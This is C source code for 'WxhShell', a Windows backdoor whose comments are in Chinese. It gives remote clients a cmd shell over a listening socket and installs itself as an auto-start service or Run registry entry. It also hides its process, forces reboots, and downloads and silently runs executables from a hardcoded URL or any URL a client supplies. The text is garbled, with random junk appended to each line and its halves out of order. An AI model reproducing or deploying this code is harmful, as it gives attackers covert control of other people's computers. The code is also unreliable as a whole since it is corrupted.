    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;;`KkNys m  
    if(Boot(SHUTDOWN)) <_Lo3WGwc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )eG&"3kFe!  
    else { oDP|>yXC)  
    closesocket(wsh); &a(w0<  
    ExitThread(0); x p$0J<2  
    } ^IId =V=2  
    break; 3&*%>)  
    } Rd!.8K[  
  // 获取shell E nUo B<  
  case 's': { p_nrua?  
    CmdShell(wsh); #]'V#[;~  
    closesocket(wsh); [a Z)*L ;  
    ExitThread(0); M1>a,va8Zq  
    break; "bO]  
  } @6tx5D?  
  // 退出 JH5])i0  
  case 'x': { 6x7=0}'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u}h'v&"e,  
    CloseIt(wsh); tvH)I px  
    break; \G"/Myi  
    } g ` {0I[  
  // 离开 }9kq?  
  case 'q': { 97 g-*K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }hf*Jw  
    closesocket(wsh); =0-qBodbl  
    WSACleanup(); H9Z3.F(2  
    exit(1); E:tUbWVp  
    break; rTJWftH!  
        } 8]L.E  
  } R.QcXz?d  
  } Eg:p_F*lr  
Y\=:j7'  
  // 提示信息 lt]U?VZ   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QRjt.Ry|  
} t2gjhn^p  
  } e8#3Y+Tc  
\r 2qH0B  
  return; 2u:j6ic  
} Ue7W&N^E  
.`p_vS9  
// shell模块句柄 oF^BJ8%Lm  
int CmdShell(SOCKET sock) g:)v thOs  
{ {+EPE2X=C  
STARTUPINFO si; =V , _  
ZeroMemory(&si,sizeof(si)); [4t KJ+v  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y>%NuL|s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  %!S  
PROCESS_INFORMATION ProcessInfo; P&YaJUq.u  
char cmdline[]="cmd"; Y^G3<.B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); IO'Q}bU4vs  
  return 0; {?iqO?  
} :}z% N7T  
yKI.TR#  
// 自身启动模式 V Y3{1Dlf  
int StartFromService(void) qw/{o:ce]  
{ 00p 7sZU^  
typedef struct Ed-gYL^<  
{ 2I<T<hFW]  
  DWORD ExitStatus; [:'n+D=T3M  
  DWORD PebBaseAddress; 8G P}g?%  
  DWORD AffinityMask; ( A)wcB  
  DWORD BasePriority; *J=ol  
  ULONG UniqueProcessId; 1`t?5|s>  
  ULONG InheritedFromUniqueProcessId; NZuFxJ-`  
}   PROCESS_BASIC_INFORMATION; Y P c<  
<7^~r(DP  
PROCNTQSIP NtQueryInformationProcess; Zy%Z]dF  
E0Djo'64  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1sjn_fPz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U!5*V9T~ J  
(n/1 :'  
  HANDLE             hProcess; )8SP$  
  PROCESS_BASIC_INFORMATION pbi; {+:XVT_+  
&>{>k<z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sdWl5 "  
  if(NULL == hInst ) return 0; ar|[D7Xrq\  
\gkajY-?  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dWy1=UQfP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z]f2&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); x,dv ~QU  
q@9 i3*q;  
  if (!NtQueryInformationProcess) return 0; 3Y-v1.^j  
H~i],WD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 81cmG `G7  
  if(!hProcess) return 0; <T[N.mB  
*F*X_O  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;%<4U^2  
Y,yaB)&Ih  
  CloseHandle(hProcess); @45H8|:k  
Ji[g@#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g-FZel   
if(hProcess==NULL) return 0; Ak Tw?v'  
H\mVK!](D  
HMODULE hMod; ~PnpYd<2  
char procName[255]; EC'bgFe  
unsigned long cbNeeded; 0Q>|s_  
E+zn\v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1,QZnF!.x  
z-5#bOABW  
  CloseHandle(hProcess); 0)5Sx /5'  
17)M.(qmuP  
if(strstr(procName,"services")) return 1; // 以服务启动 5-HJ&Q  
,d>~='  
  return 0; // 注册表启动 2hJ3m+N^  
} ,~xU>L^  
"}p?pF<'0  
// 主模块 --`LP[ll  
int StartWxhshell(LPSTR lpCmdLine) #\BI-zt  
{ [Z\1"m  
  SOCKET wsl; ?w/nZQWi  
BOOL val=TRUE; .~L4#V{c~  
  int port=0; {Ch"zuPX  
  struct sockaddr_in door; F |81i$R  
+c`C9RXk  
  if(wscfg.ws_autoins) Install(); v6?\65w,|  
m 1i+{((  
port=atoi(lpCmdLine); yQ{_\t1Wd  
R"gm]SQ/  
if(port<=0) port=wscfg.ws_port; P &0cF{  
lhl 0  
  WSADATA data; JK"uj%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .oj"ru  
43=-pyp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   sDm},=X}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y%bqeo L~  
  door.sin_family = AF_INET; Os 2YZ<t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \BaN5+ B6  
  door.sin_port = htons(port); ' ,`4 U F  
NoZ4['NI\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :TYzzl43  
closesocket(wsl); *9Js:z7I  
return 1; w9<FX>@  
} f^sb0nU  
HcVs(]tIW  
  if(listen(wsl,2) == INVALID_SOCKET) { EJaaW&>[  
closesocket(wsl); L_ qv<iM$  
return 1; AJlIA[Kt:  
} k`mrRs  
  Wxhshell(wsl); y' |W['  
  WSACleanup(); e=;@L3f  
UN?T}p- oF  
return 0; h;UdwmT  
Pq\V($gN  
} Z?v6pjZ?  
I+?$4SC  
// 以NT服务方式启动 u$,Wyi )L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rI66frbj  
{ JvJ!\6Q@  
DWORD   status = 0; GVc[p\h(  
  DWORD   specificError = 0xfffffff; /\uH[[s  
.Xz"NyW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #u5;utY:F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S%s|P=u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \BcJDdL  
  serviceStatus.dwWin32ExitCode     = 0; ]AA*f_!  
  serviceStatus.dwServiceSpecificExitCode = 0; r]EZ)qp^@  
  serviceStatus.dwCheckPoint       = 0; X:-bAu}D  
  serviceStatus.dwWaitHint       = 0; Xa%&.&V  
$_7d! S"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r]//Q6|S  
  if (hServiceStatusHandle==0) return; 4f[M$xU&h  
%3#I:>si  
status = GetLastError(); LOUKUReE  
  if (status!=NO_ERROR) $17 v,  
{ 4U a~*58  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B0XBI0w^Y  
    serviceStatus.dwCheckPoint       = 0; WlRZ|.  
    serviceStatus.dwWaitHint       = 0; &T/q0bwd  
    serviceStatus.dwWin32ExitCode     = status; ^_S-s\DW  
    serviceStatus.dwServiceSpecificExitCode = specificError; K6yFpVl  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h-+a;![  
    return; -KJ!  
  } OK2/k_jXN'  
(=tF2YBV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; > <  _Z  
  serviceStatus.dwCheckPoint       = 0; Z=Y_;dS9  
  serviceStatus.dwWaitHint       = 0; q,,>:]f#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $s(4?^GP  
} ocA'goI-  
I1 R\Ts@  
// 处理NT服务事件,比如:启动、停止 @1SKgbt>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 031.u<_  
{ 5nM9!A\D  
switch(fdwControl) >-|90CSdSJ  
{ < J<;?%]  
case SERVICE_CONTROL_STOP: 0m YZ7S5g  
  serviceStatus.dwWin32ExitCode = 0; g9weJ6@}M  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; + yP[(b/  
  serviceStatus.dwCheckPoint   = 0; 8&A|)ur4  
  serviceStatus.dwWaitHint     = 0; 3|'#n[3  
  { JXRf4QmG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W/ZahPPq  
  } V=zM5MH2  
  return; -2jBs-z  
case SERVICE_CONTROL_PAUSE: 6[3Ioh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Zj+}T  
  break;  Vq)gpR  
case SERVICE_CONTROL_CONTINUE: X6N]gD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d,J<SG&L&  
  break; kq}eUY]  
case SERVICE_CONTROL_INTERROGATE: fF9oYOh|  
  break; ^I0GZG  
}; bHQKRV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 71<PEawL  
} cH*/zNp  
N4` 9TN7  
// 标准应用程序主函数 p`<e~[]a  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eYD9#y  
{ !Nxn[^[?.  
@F(3*5c_Y  
// 获取操作系统版本 =y-!k)t  
OsIsNt=GetOsVer(); ?Str*XA;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Rqb{)L X*  
?4,*RCaI  
  // 从命令行安装 ~q]|pD"\K|  
  if(strpbrk(lpCmdLine,"iI")) Install(); :a f;yu  
"U5Ln2X{J  
  // 下载执行文件 <GT>s  
if(wscfg.ws_downexe) { dj y:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w1"gl0ga$  
  WinExec(wscfg.ws_filenam,SW_HIDE);  fBWJ%W  
} 5Du>-.r  
K7[AiU_I  
if(!OsIsNt) { X.T\=dm%v  
// 如果时win9x,隐藏进程并且设置为注册表启动 ++Ys9Y)*,  
HideProc(); 4<3?al&  
StartWxhshell(lpCmdLine); i^s`6:rNu  
} ej"o?1l@  
else }KaCf,O  
  if(StartFromService()) {Z?$Co^R  
  // 以服务方式启动 +.gf]|  
  StartServiceCtrlDispatcher(DispatchTable); UU;-q_H6  
else f?>-yMR|  
  // 普通方式启动 =@1R ozt  
  StartWxhshell(lpCmdLine); ;*)fO? TG)  
JJ N(M*;  
return 0; e1 {t0f  
} B~_,>WG  
A}#]g>L  
|?fW!y  
CNpe8M=/3  
=========================================== =ve*g&  
.^W\OJ`G  
(Xr_ np @  
y[^k*,= 9  
/50g3?X,  
;5Wx$Yfx  
" az \<sWb#  
S-M)MCL  
#include <stdio.h> !}L~@[v,uL  
#include <string.h> i>]<*w  
#include <windows.h> x '=3&vc4  
#include <winsock2.h> P+;CE|J`X  
#include <winsvc.h> B.Zm$JZ:  
#include <urlmon.h> L)R[)$2(g  
^ =/?<C4  
#pragma comment (lib, "Ws2_32.lib") 6 <qwP?WN  
#pragma comment (lib, "urlmon.lib") sx[&4 k[  
22al  
#define MAX_USER   100 // 最大客户端连接数 ;Oi[:Ck  
#define BUF_SOCK   200 // sock buffer \&\_>X.,  
#define KEY_BUFF   255 // 输入 buffer "J8;4p  
;Txv -lfS  
#define REBOOT     0   // 重启 u6iU[5  
#define SHUTDOWN   1   // 关机 (/"K+$8'  
nI`f_sp  
#define DEF_PORT   5000 // 监听端口 =$)4:  
6=G~6Qu  
#define REG_LEN     16   // 注册表键长度 5M<' A=  
#define SVC_LEN     80   // NT服务名长度 ^8';8+$  
nL":0!DTRD  
// 从dll定义API !y qa?\v9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mX<Fuu}E*Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `FzYvd"N  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \ifK~?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n2xLgK=  
Ss#@=:"P  
// wxhshell配置信息 68koQgI[^  
struct WSCFG { ( K6~Tj  
  int ws_port;         // 监听端口 `x{.z=xC  
  char ws_passstr[REG_LEN]; // 口令 Sc4obcw%  
  int ws_autoins;       // 安装标记, 1=yes 0=no N"Qg\PS_  
  char ws_regname[REG_LEN]; // 注册表键名 tT@w%Sz57N  
  char ws_svcname[REG_LEN]; // 服务名 MG7 ?N #  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~|y^\U@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }pl]9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T}L^CU0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ci7P%]9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7K>D@O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 eK Z@ FEZ  
C%}]"0Q1  
}; &dhcKO<4  
%Y cxC0S[  
// default Wxhshell configuration kf%&d}2to  
struct WSCFG wscfg={DEF_PORT, 9 3W  
    "xuhuanlingzhe", .N~PHyXZR  
    1, .>mH]/]m  
    "Wxhshell", KA5~">l  
    "Wxhshell", AW,v  
            "WxhShell Service", V;h=8C5J  
    "Wrsky Windows CmdShell Service", e/"yGQu  
    "Please Input Your Password: ", qj~flw1:  
  1, mF[o*N*  
  "http://www.wrsky.com/wxhshell.exe", lZ|L2Yg3uB  
  "Wxhshell.exe" ||-nmOy  
    }; NJ;"jQ-  
8 uDerJ!  
// 消息定义模块 fm(mO%  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GXDC@+$14  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sU) TXL'_!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,O:EX0  
char *msg_ws_ext="\n\rExit."; :a_BD  
char *msg_ws_end="\n\rQuit."; H~A"C'P3#  
char *msg_ws_boot="\n\rReboot..."; K0w<[CO  
char *msg_ws_poff="\n\rShutdown..."; B.89_!/:p  
char *msg_ws_down="\n\rSave to "; V]I:2k5  
C`\9c ej  
char *msg_ws_err="\n\rErr!"; ,HFs.9#&B  
char *msg_ws_ok="\n\rOK!"; uh]"(h(>  
k: b/Gq`  
char ExeFile[MAX_PATH]; S~KS9E~\  
int nUser = 0; a q3~!T;W  
HANDLE handles[MAX_USER]; 3lo;^KX !  
int OsIsNt; 2 \^G['9  
X}ZlWJ  
SERVICE_STATUS       serviceStatus; XD PL;(?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :P3{Nxa  
K)\(wxv  
// 函数声明 4p.^'2m  
int Install(void); PG{i,xq_B{  
int Uninstall(void); &&[zT/]P  
int DownloadFile(char *sURL, SOCKET wsh); >Bc> IO  
int Boot(int flag); D`6iDi t  
void HideProc(void); ldA!ou7  
int GetOsVer(void); QX[Djz0H8  
int Wxhshell(SOCKET wsl); `/#f?Hk=  
void TalkWithClient(void *cs); WfTD7?\dw  
int CmdShell(SOCKET sock); 6cM<>&e  
int StartFromService(void); \)ip>{WG  
int StartWxhshell(LPSTR lpCmdLine); = 96G8hlT  
# ;K,,ku x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C:]s;0$3'9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8wr8:( Y$  
EXuLSzQwv  
// 数据结构和表定义 MkwU<ae AB  
SERVICE_TABLE_ENTRY DispatchTable[] = D^Te%qnW  
{ w/ TKRCO3  
{wscfg.ws_svcname, NTServiceMain}, LO)GTyzvJ  
{NULL, NULL} {Fbg]'FQ  
}; 8z Y)J#  
.*BA 1sjE  
// 自我安装 #~L!pKM  
int Install(void) &5?G-mn  
{ PgMbMH  
  char svExeFile[MAX_PATH]; z~,mRgc$B  
  HKEY key; |6aJwe+*  
  strcpy(svExeFile,ExeFile); tQWWgLM  
oL]mjo=jN  
// 如果是win9x系统,修改注册表设为自启动 \K;op2  
if(!OsIsNt) { 089 k.WG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -"=)z /S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zDD4m`2  
  RegCloseKey(key); 5F2_xH$5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U&X2cR &a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YutQ]zYA.  
  RegCloseKey(key); Gqb])gXpl  
  return 0; ]4`t\YaT  
    } ;B~P>n}}_]  
  } mzX;s&N#  
} 'BY-OA#xJ  
else { ?~J i-{#X  
s=D f `  
// 如果是NT以上系统,安装为系统服务 }Dn^d}?s||  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HTV ~?E  
if (schSCManager!=0) k;k}qq`d  
{ iK#/w1`  
  SC_HANDLE schService = CreateService `\bT'~P  
  ( ldGojnS  
  schSCManager, W^es;5  
  wscfg.ws_svcname, VPt9QL(  
  wscfg.ws_svcdisp, `5q ;ssu  
  SERVICE_ALL_ACCESS, yEq#Dr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , *^] ~RhjB  
  SERVICE_AUTO_START, 8TE>IPjm  
  SERVICE_ERROR_NORMAL, {CtR+4KD  
  svExeFile, d|XmasGN  
  NULL, ?s?$d&h  
  NULL, =7%o E[  
  NULL, V|'1tB=;*1  
  NULL, w&Y{1rF>  
  NULL .6 3=(o  
  ); E V2  )  
  if (schService!=0) @5.e@]>ZM  
  { oKA&An  
  CloseServiceHandle(schService); r3qf[?3`6  
  CloseServiceHandle(schSCManager); n2 {SV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); j(eFoZz,  
  strcat(svExeFile,wscfg.ws_svcname); T-gk<V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g JjN<&,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); er2cQS7R  
  RegCloseKey(key); x&Cp> +i  
  return 0; ; Y"N6%  
    } 2#vv$YD  
  } =wG+Ao  
  CloseServiceHandle(schSCManager); <P_ea/5:|  
} ~=En +J}*  
} bl;zR  
/*$hx@ih  
return 1; fuUm}N7  
} @*>Sw>oet  
Y ya`&V  
// 自我卸载 A(8n  
int Uninstall(void) S QY"OBo<e  
{ t P"\J(x  
  HKEY key; EHn"n"Y  
I7n3xN&4"  
if(!OsIsNt) { !2tW$BP^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~6aCfbu%V  
  RegDeleteValue(key,wscfg.ws_regname); c+kU o$  
  RegCloseKey(key); LOvHkk@+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "Pz}@=  
  RegDeleteValue(key,wscfg.ws_regname); "5Uh< X  
  RegCloseKey(key); 8z2Rry w  
  return 0; /KCPpERk{  
  } Nc)J18  
}  En6H%^d2  
} n6MM5h/#r  
else { `_vB+a  
V0*3;n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); c~=B0K-  
if (schSCManager!=0) _:g&,2bc  
{ id^sr Mw  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (;_FIUz0  
  if (schService!=0) MFt*&%,JX  
  { V Z y4_v=  
  if(DeleteService(schService)!=0) { I.'b'-^  
  CloseServiceHandle(schService); #]]Su91BA  
  CloseServiceHandle(schSCManager); ]y@F8$D!  
  return 0; &fOdlQ?  
  } e:w &(is  
  CloseServiceHandle(schService); yX!HZu;j  
  } C&~1M}I  
  CloseServiceHandle(schSCManager); <7_KeOLJ  
} ::5E8919  
} !#2=\LUC  
?GA&f2]a  
return 1; ORN6vX(1  
} +7V{ABfGl  
zYY$D.  
// 从指定url下载文件 *sw7niw  
int DownloadFile(char *sURL, SOCKET wsh) L';MP^  
{ CZ<~3bEF  
  HRESULT hr; &HW1mNF9  
char seps[]= "/"; uI~S=;o  
char *token; 3+Qxg+<  
char *file; en F:>H4  
char myURL[MAX_PATH]; (1R?s>3o  
char myFILE[MAX_PATH]; qZv =  
laKuOx}  
strcpy(myURL,sURL); Pmg)v!"  
  token=strtok(myURL,seps); .@q-B+Eg  
  while(token!=NULL) iRV~Il#~!  
  { FR[ B v  
    file=token; uX/$CM  
  token=strtok(NULL,seps); ;%C'FV e]  
  } e({9]  
@f+8%I3D  
GetCurrentDirectory(MAX_PATH,myFILE); oR1^/e  
strcat(myFILE, "\\"); 5yZTcS z  
strcat(myFILE, file); -]uUYe c  
  send(wsh,myFILE,strlen(myFILE),0); nl aM  
send(wsh,"...",3,0); j@gMb iu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >'uU)Y {  
  if(hr==S_OK) ~[WF_NU1y  
return 0; b2,mCfLsv  
else iIT8H\e  
return 1; >LC<O.  
xo}b= v  
} D]a:@x`+Bz  
wxg^Bq)D*R  
// 系统电源模块 mW2,1}Jv  
int Boot(int flag) qBV x6MI  
{ $''?HjB}T  
  HANDLE hToken; }9HmTr|  
  TOKEN_PRIVILEGES tkp; 7uorQfR?  
cJo\#cr  
  if(OsIsNt) { OO dSKf8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {5r0v#;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >T2LEW  
    tkp.PrivilegeCount = 1; E/&Rb*3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u%/fx~t$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H=*5ASc  
if(flag==REBOOT) { i,A#&YDl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4/kv3rv  
  return 0; `1*nL,i  
} oI:o"T77sA  
else { =*qD4qYA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &6 s) X  
  return 0; `@d<n  
} 8$s9(n-_Y  
  } j"^ +oxH  
  else { znJhP}(  
if(flag==REBOOT) { XqRJr%JH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G+xt5n.%  
  return 0; &8&d3EQ  
} .:p2Tbo  
else { /+*#pDx/zW  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R[z`:1lo  
  return 0; a,F&`Wg  
} l0&EZN0V2  
} J:uW`R  
`RU[8@ 2%  
return 1; e^4 p%  
} sDr/k`>  
=S'%`]f?  
// win9x进程隐藏模块 YprH wL  
void HideProc(void) 5uq3\a  
{ fO'Wj`&a  
2%*MW"Q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 21s4MagC  
  if ( hKernel != NULL ) HEL!GC>#  
  { c_aZ{S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5D M"0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -9RDr\&`(  
    FreeLibrary(hKernel); MMB@.W  
  } mk7&<M  
O#wpbrJ  
return; /@AEJ][$  
} {3})=>u:S  
*k"|i*{  
// 获取操作系统版本 X[#zCM  
int GetOsVer(void) M/x>51<  
{ ^7;JC7qmN  
  OSVERSIONINFO winfo; P%)gO  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5@*'2rO&!  
  GetVersionEx(&winfo); Hf'G8vW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D7Y)?Z5A;  
  return 1; ?USQlnr:R/  
  else m9U"[Huv1E  
  return 0; x21dku<6K[  
} p!]6ll^  
~~/xR s  
// 客户端句柄模块 9/+Nj/  
int Wxhshell(SOCKET wsl) :o:e,WKxb  
{ %WqNiF0-  
  SOCKET wsh; {`2R,Jb%S  
  struct sockaddr_in client; UobyK3.%  
  DWORD myID; H|cNH=  
85 EQ5yY  
  while(nUser<MAX_USER) #%J5\+ua  
{ OD' ]:  
  int nSize=sizeof(client); $$:ZX  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $/6;9d^  
  if(wsh==INVALID_SOCKET) return 1; 2[0JO.K 4  
G'YH6x,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); omWJJ|b~  
if(handles[nUser]==0) ikE<=:pe  
  closesocket(wsh); .jy]8S8[|%  
else yj4+5`|f  
  nUser++; %|G"-%_E  
  } Ax!+P\\2~  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7'NwJ,$6\  
*6xgctk  
  return 0; Y+K|1r  
} Vh}SCUof'  
x0 d~i!d  
// 关闭 socket 9qS"uj  
void CloseIt(SOCKET wsh) cRX~z  
{ lL]y~u  
closesocket(wsh); 4&/j|9=X  
nUser--; ]|<w\\^A  
ExitThread(0); d #jK=:eK  
} Z|RY2P>E  
iH^z:%dP  
// 客户端请求句柄 -,K!  
void TalkWithClient(void *cs) =^ T\Xs;GK  
{ [r/k% <  
s;UH]  
  SOCKET wsh=(SOCKET)cs; PRNoqi3sY  
  char pwd[SVC_LEN]; ~ %B<  
  char cmd[KEY_BUFF]; v]B L[/4  
char chr[1]; ; S xFp  
int i,j; VLBE'3Qg 1  
5k|9gICyd*  
  while (nUser < MAX_USER) { i-yy/y-N  
@ P|LLG'  
if(wscfg.ws_passstr) { OFje+S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1Bxmm#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?eV4 SH  
  //ZeroMemory(pwd,KEY_BUFF); +a^F\8H  
      i=0; 5BBD.!  
  while(i<SVC_LEN) { /%lZu^  
 |W<+U  
  // 设置超时 pRSOYTebP  
  fd_set FdRead; t4?DpE  
  struct timeval TimeOut; ktDC/8  
  FD_ZERO(&FdRead); d GP*O  
  FD_SET(wsh,&FdRead); RCRpzY+@  
  TimeOut.tv_sec=8; tH'2gl   
  TimeOut.tv_usec=0; jD7NblX  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tpuYiL  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @29U@T  
|d6T/Uxo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :_M;E"9R  
  pwd=chr[0]; d;n."+=[x  
  if(chr[0]==0xd || chr[0]==0xa) { a~8[<Fomj  
  pwd=0; wgd/(8d  
  break; uYrfm:4S  
  } !'LW_@  
  i++; {nU=%w"\  
    } {}:ToIp  
$['Bv  
  // 如果是非法用户,关闭 socket \=>H6x]q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); HYmn:?H  
} LkQX?2>]  
O9:U8$*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?ve#} \  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {\[5}nV  
G\T fL^A  
while(1) { ^] kF{ o?  
O#Wh TDF"  
  ZeroMemory(cmd,KEY_BUFF); i*CZV|t US  
?.Pg\ur  
      // 自动支持客户端 telnet标准   =/\:>+p^.y  
  j=0; aM4k *|H?  
  while(j<KEY_BUFF) { 9(":,M(/o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {&Q9"C  
  cmd[j]=chr[0]; <id}<H  
  if(chr[0]==0xa || chr[0]==0xd) { 1{P'7IEj  
  cmd[j]=0; tnLAJ+ -M  
  break; F`9]=T0  
  } $ /nY5[  
  j++; |^@dFOz  
    } ul*Qt}  
)Pv9_XKJ  
  // 下载文件 }pJwj  
  if(strstr(cmd,"http://")) { P (S>=,Y&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); YtO|D  
  if(DownloadFile(cmd,wsh)) H*9~yT' Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Vu(XG  
  else MX+ Z ?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  rb{P :MX  
  } &5: tn=E  
  else { B-l'vVx  
